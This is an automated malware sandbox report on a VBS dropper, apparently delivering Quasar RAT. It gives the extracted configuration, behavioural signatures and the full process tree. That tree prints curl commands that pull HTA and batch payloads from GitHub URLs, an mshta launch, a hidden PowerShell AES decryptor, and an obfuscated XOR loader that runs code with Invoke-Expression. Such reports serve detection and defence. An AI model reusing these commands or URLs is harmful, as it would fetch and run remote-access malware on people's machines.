Analysis
- user interaction
yes - max time kernel
299s - max time network
206s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
- submitted
28/04/2026, 16:13
General
- Target adb exploit.vbs
- Size 2KB
- Sample260428-tpblfaft6p
- SHA256 f2166dac295b232478248f546fccc082410e13970225f2b7f9f6dbc3c4fdf3d2
Malware Config
Extracted
-
quasar
-
encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- cURL User-Agent 3 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adb exploit.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\kFcnW1K5vAH.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wscript //nologo C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wscript.exewscript //nologo C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta" "https://raw.githubusercontent.com/demarcusnofatherington420-a11y/nucom/refs/heads/main/WindowsDefenderRuntimeService.hta"5⤵
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta"5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$k=[byte[]]@(95,194,117,41,212,7,187,158,124,210,21,249,154,50,32,242);$i=[byte[]]@(108,191,225,154,77,180,250,55,147,114,235,207,244,250,63,104);$c=[Convert]::FromBase64String('Jg5WMw9ypIKeTkKa+F+vnA273DGkXIVjq8sVp5oify99u6mp8d3pl+IROBKwYgsEkejk8OVlI5D0x7+jzYGalu2D3tDcmwpUDX/WBQ2mZifBoS5C4zaG1qIx3CKjvERnDJk+QWMSf8pn2WqjEMtuLAdo7eEm6L7bbAXHhcENc1/YFQhZCIP2BH8O4kR7tyOaoNJtpo65LHE8Z5QcX1ljfMTwYI/F1IeXjndUwqeRyvmPT2ca67p+33hOjZoldu2cyNjqaevTG9W7/sUxgRkjghnHbs0CirUPHAQL0YDZTiXO8A9yEnXaOtZMvW8oFgJg5HIpbq5FAvxGFOG+hTB/o03DRhvoKAtQcyvMCb2RcM85fwYfCvIn+Sl4bZQNzF8ihaT2RVZ5ysCNRr+N8p3ZNSYchYMUjm3xd6o238DRuF6P5SjiVI5mkQO8ze8EHH9JrBplFFzXN69FDnvMsVTFs54q94HpisQkeNkdZIFNH1W6OBBSbLBiIYLwC576YpUuOBWgo5Do8uDR7OCbuZ9SS7piYPIXO3RCs+6T5OOBtDwaykDo1j8s6/978HTV97OxiNGEm50J79w/iaAI8Df7n4kj2+Y1m41b+7AZTx2I4rzebOO7BArUlAwqhGMGitFjXYiBwI8y1669YfdcvIbvIUKtmxihNfj0Q09saFFUpTvwe7Ix0q27ZYSIbXsI0uuNGpVy0HoHu/3MzxxmFpqe/afvir6uUnNlqiWrs3bTEU2alKS0vGAUXPOZIPtJWdrY75KaAwFNWBD91aWNI6VJD20AenxZOXAyE8b7OGulcFfkiqgx5udj2IsCdiz1NNug7RKfLzvmnoFdFPo33LRnNI0/PeLm0w4CAifeOX4+kf1qXQ+GpIQFV5FgbrH9W74Zdt+RLSq9Dp5h3gwGcwRKaFnCuI46VMaR3CDV2dMrTj0fG8Je3ITrQxAXzsnrusVDA5ab7SxBRXR2n/DPyP7UvclFRUm90O6GlUQBou4kT0k4pRdHZ+L912bM1ANtI9Rl7q3eR4Z+SGxZ0WujaSnlg/RGmXIBLIZTZfDb15o4LrtmEc7yp2Ew1WFuK7a7GD/1i1o0brhFcFY5hh+arMbHY3nlABEIVucnSI1rXLflilgjAfaRa2fBRFtPWmjCYWwgcAlYbF0Vhw0kc4XCo7Cz25mq8BHg66JMmnqeC3Q5JkMDUSYYomjR5UpVIN//QOIBxkqC+GxR4fv34ej+7z1+KF5vWwoggYaT+6w9T0yF+GArEDrni3Ma+Q6+TEbIixDugoUDcbHqrfKK9UVVuG7uMEXxgcRXQbfUyIaiGECb3r3t9nS/5WBYr1SeiPB0QxllMEiheZWr6WGNOlbWpZgpkyAkeY7KUgblHmSCnp8GtUCsVdJgTeVQyTDJmEqhy3PWu7beg0PSedVi1SFANOJRXCEMJfjSraSzyhlvqjiSm+4C579Xb13gtk3S+pUUu54kJxuf5JvzaTd+NQn7UrOrOpEIC5SPWFVe0LTSk0MRvKOhmGeM1sU0DZY67Of1Bhh+eIXWuGU5cARAXzp0YPT5anQpc3q5PQ7/iSbMO4FN+v0c7muoC4SrZFWiDkadTXN3zSxMHXsuvLpEWE0CPoDVTbZ7dLLPa/UjMnJ+jz+zsVxXsIkBx2NwxOcfBF/IS72Xnvjjeoz2iLgmuUALfCflnXn3CJAY9Uz6+VsLrZv+nf1/wIvWzWfYqWqY/WwI9+UA0zlaQQ0cIfK0PJriSXGjo/SIJlf9170/lzqfJbmsEEpluToeH2v324K7ONjN5+oxUQQcyz7dLECat9jTN/O2uA==');$a=New-Object Security.Cryptography.AesCryptoServiceProvider;$a.Key=$k;$a.IV=$i;$a.Mode='CBC';$a.Padding='PKCS7';$d=$a.CreateDecryptor();$p=$d.TransformFinalBlock($c,0,$c.Length);[Console]::OutputEncoding=[Text.Encoding]::UTF8;Write-Host ([Text.Encoding]::UTF8.GetString($p));"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "https://github.com/demarcusnofatherington420-a11y/vbs-hta-vbs-bat/raw/refs/heads/main/ya.bat"6⤵
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\Temp\launch32.vbs"6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:IdhmBSKvPL;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'oJCTcuyeXV' -Value $_4;$_4 | Invoke-Expression"8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
LVPmNj.hta
V7YmmGS7TnD.vbs
__PSScriptPolicyTest_035abhlc.pwu.ps1
kFcnW1K5vAH.ps1
launch32.vbs
svchost32.bat
memory/1104-37-0x0000019F79740000-0x0000019F7986B000-memory.dmp
memory/1104-38-0x0000019F79940000-0x0000019F7994C000-memory.dmp
memory/3748-61-0x000001C936620000-0x000001C93662C000-memory.dmp
memory/3748-60-0x000001C936450000-0x000001C93657B000-memory.dmp
memory/4156-57-0x000001D71C840000-0x000001D71C934000-memory.dmp
memory/4156-59-0x000001D71D4D0000-0x000001D71D508000-memory.dmp
memory/4156-62-0x000001D701EA0000-0x000001D701FCB000-memory.dmp
memory/4156-63-0x000001D703860000-0x000001D70386C000-memory.dmp
memory/4156-58-0x000001D71C460000-0x000001D71C494000-memory.dmp
memory/4156-56-0x00007FFE65060000-0x00007FFE6511D000-memory.dmp
memory/4156-55-0x00007FFE66B10000-0x00007FFE66D08000-memory.dmp
memory/4156-54-0x000001D71C250000-0x000001D71C380000-memory.dmp
memory/4416-53-0x00000200546A0000-0x00000200547CB000-memory.dmp
memory/4416-227-0x00000200546A0000-0x00000200547CB000-memory.dmp
memory/4576-19-0x000001EC96700000-0x000001EC9670C000-memory.dmp
memory/4576-18-0x000001EC96540000-0x000001EC9666B000-memory.dmp
memory/5992-16-0x000001C78A910000-0x000001C78AA3B000-memory.dmp
memory/5992-17-0x000001C78C6B0000-0x000001C78C6BC000-memory.dmp
memory/5992-1-0x000001C78C7B0000-0x000001C78C7C0000-memory.dmp
memory/5992-10-0x000001C78C7B0000-0x000001C78C7C0000-memory.dmp
memory/5992-2-0x000001C78C780000-0x000001C78C7A2000-memory.dmp
memory/6012-21-0x0000022320DE0000-0x0000022320DEC000-memory.dmp
memory/6012-20-0x000002231F450000-0x000002231F57B000-memory.dmp